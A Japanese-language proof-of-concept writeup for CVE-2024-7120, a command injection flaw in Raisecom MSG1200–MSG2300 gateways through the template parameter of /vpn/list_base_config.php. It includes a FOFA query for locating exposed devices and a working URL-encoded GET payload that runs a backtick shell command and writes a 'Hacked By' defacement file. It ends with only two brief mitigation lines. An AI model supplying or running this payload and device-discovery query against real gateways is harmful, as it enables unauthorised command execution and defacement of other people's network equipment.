Raisecom デバイス コマンドインジェクション (CVE-2024-7120) 概念実証!

概要

RAISECOM ゲートウェイデバイスにおいて、コマンドインジェクションの脆弱性が確認されました。影響を受けるモデルは、MSG1200、MSG2100E、MSG2200、MSG2300 です。この脆弱性により、リモートの攻撃者が Web インターフェースを介してシステム上で任意のコマンドを実行できる可能性があります。問題は list_base_config.php スクリプトに存在し、特に template パラメータを介して発生します。インターネット上の 25,112 台以上のデバイスに影響を与えます。

✔ FOFA : title="web user login" && body="<META content="MSHTML 6.00.2900.5583" name=GENERATOR>"

影響を受けるコンポーネント

URI: /vpn/list_base_config.php

説明: list_base_config.php は、RAISECOM ゲートウェイデバイスの Web ベースのインターフェースコンポーネントであり、VPN 設定の管理に使用されます。特定された脆弱性は、このスクリプトにおける template パラメータの不適切な処理に起因します。このパラメータは、入力サニタイズが不十分なため、デバイスのオペレーティングシステム上で任意のコマンドを実行するために悪用される可能性があります。

CWE

CWE-77: コマンドインジェクション

悪用方法

以下は、curl コマンドを使用してこの脆弱性を悪用する方法の例です:

GET "http://host.com/vpn/list_base_config.php?type=mod&parts=base_config&template=%60echo%20-e%20%27{{Hacked By Dark 07x}}%27%3E%20%2Fwww%2Ftmp%2Finfo.html%60"

この例では、curl コマンドが list_base_config.php スクリプトに対して悪意のある HTTP GET リクエストを送信します。このリクエストは template パラメータを利用してコマンドを実行します。

1. 入力検証: すべてのユーザー入力、特にシステムコマンドやファイルパスに影響を与える可能性のある入力に対して、厳格な検証チェックを実装してください。
2. アクセス制御: デバイスの Web インターフェースへのアクセスを、信頼できるネットワークと認証されたユーザーのみに制限してください。